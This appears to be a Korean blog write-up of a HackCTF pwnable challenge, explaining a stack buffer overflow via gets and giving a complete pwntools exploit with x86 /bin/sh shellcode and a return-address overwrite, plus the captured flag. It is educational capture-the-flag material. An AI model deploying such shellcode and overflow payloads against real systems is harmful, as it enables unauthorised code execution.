-
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! (150p)Wargame/HackCTF 2021. 6. 1. 10:28
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! (150p)
문제 checksec 우선 문제 파일에 NX bit가 걸려있지 않기 때문에 쉘 코드를 삽입해 실행할 수 있을 것 같다.
prob1 파일을 실행해보면 Name : , input : 총 2번의 입력을 받는다.
gdb로 살펴보자.
main read와 gets로 각각 한 번씩 입력을 받는데
gets로 입력 받을때 Buffer Overflow를 일으킬 수 있을 것 같다.
read 먼저 read 쪽을 살펴보면
name name이라는 전역변수에 0x32byte만큼 입력을 받는 것을 알 수 있다.
gets 그리고 gets 로 [ebp-0x14]부터 입력을 받는데
여기서 0x14 + sfp[4] 만큼 dummy로 채우고 ret 부분에 쉘 코드가 들어갈
name 즉 0x804a060로 변조시키면 쉘이 실행될 것 같다.
이제 payload를 작성해보자.
from pwn import * p=remote("ctf.j0n9hyun.xyz",3003) payload1 = "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload2 = "A"*24 + p32(0x804a060) p.sendafter(":",payload1) p.sendafter(":",payload2) p.interactive()
성공 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] x64 Simple_size_BOF (150p) (0) 2021.06.01 [HackCTF : Pwnable] x64 Buffer Overflow (150p) (0) 2021.06.01 [HackCTF : Pwnable] Basic_BOF #2 (100p) (0) 2021.05.31 [HackCTF : Pwnable] Basic_BOF #1 (100p) (0) 2021.05.28 [HackCTF : Forensics] 세상에서 잊혀진 날 찾아줘! (150p) (0) 2021.05.18